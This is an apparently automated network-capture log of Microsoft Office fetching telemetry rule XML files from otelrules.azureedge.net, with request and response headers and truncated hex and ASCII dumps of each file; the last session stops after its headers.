Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:36 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:36 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 74785e04-801e-00ac-6ff8-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121836Z-164f84587bf7mjf5hC1DFWvyqc000000017g0000000041ar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:36 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:36 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:36 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:36 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: dc8c3ba3-601e-003e-42c5-363248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121836Z-164f84587bfmnndshC1DFWz4c800000000yg00000000e9cg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:36 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:37 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: d5f81faf-001e-0017-2ed2-2c0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-16547b76f7fp6mhthC1DFWrggn0000000n9g000000003857 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:37 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3caab57d-601e-005c-6cd2-2cf06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-16547b76f7ftnm6xhC1DFW9c8c00000000tg00000000ek35 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-16547b76f7fw2955hC1DFWsptc00000001vg0000000028r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:37 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-16547b76f7frbg6bhC1DFWr5400000000n2g000000005a6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:37 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:37 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-16547b76f7f7rtshhC1DFWrtqn0000000n60000000005f06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:37 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:37 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121837Z-164f84587bfmnndshC1DFWz4c8000000010000000000bu77 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:38 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:38 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121838Z-16547b76f7fwvr5dhC1DFW2c940000000my000000000d2da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:38 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:37 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:38 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:38 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 3018d77d-101e-008d-49d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121838Z-16547b76f7fnlcwwhC1DFWz6gw0000000n5g00000000b34a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:38 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:38 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:38 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 2acd1bf4-901e-00a0-0b09-376a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121838Z-16547b76f7fhvzzthC1DFW557000000001fg00000000050n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:38 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:38 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:38 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:38 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: ce92c93d-101e-008e-6ea0-34cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121838Z-1866b5c5fbb9m92fhC1DFWwu7800000001fg000000001xdt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
